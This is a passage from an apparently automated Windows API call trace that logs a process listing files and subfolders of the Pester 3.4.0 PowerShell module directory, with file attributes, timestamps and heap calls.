dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 0 [0243.289] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0243.290] GetProcessHeap () returned 0xc10000 [0243.290] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0243.290] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snippets", cAlternateFileName="")) returned 0 [0243.290] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0243.291] GetProcessHeap () returned 0xc10000 [0243.291] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0243.292] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0243.292] GetProcessHeap () returned 0xc10000 [0243.292] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0243.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0243.296] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.296] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0243.296] GetProcessHeap () returned 0xc10000 [0243.296] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0243.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0243.298] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.298] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1 [0243.298] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0 [0243.298] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0243.299] GetProcessHeap () returned 0xc10000 [0243.299] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0243.299] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Build.bat", cAlternateFileName="")) returned 1 [0243.299] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0243.299] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1 [0243.299] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="chocolateyInstall.ps1", cAlternateFileName="")) returned 1 [0243.299] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0243.299] GetProcessHeap () returned 0xc10000 [0243.299] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0243.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0243.301] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.301] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc26, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1 [0243.301] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1 [0243.301] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1 [0243.301] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1739, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1 [0243.301] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1 [0243.301] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0 [0243.301] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0243.302] GetProcessHeap () returned 0xc10000 [0243.302] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0243.302] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Examples", cAlternateFileName="")) returned 1 [0243.302] GetProcessHeap () returned 0xc10000 [0243.302] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0243.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0243.303] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.303] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1 [0243.303] GetProcessHeap () returned 0xc10000 [0243.303] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0243.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0243.303] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.303] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1 [0243.304] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1 [0243.304] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0 [0243.304] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0243.304] GetProcessHeap () returned 0xc10000 [0243.305] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0243.305] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0243.305] GetProcessHeap () returned 0xc10000 [0243.305] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0243.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0243.306] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.306] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1 [0243.306] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0 [0243.306] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0243.306] GetProcessHeap () returned 0xc10000 [0243.306] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0243.306] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0243.306] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0243.307] GetProcessHeap () returned 0xc10000 [0243.307] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0243.307] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0243.307] GetProcessHeap () returned 0xc10000 [0243.307] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0243.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0243.310] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.310] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, 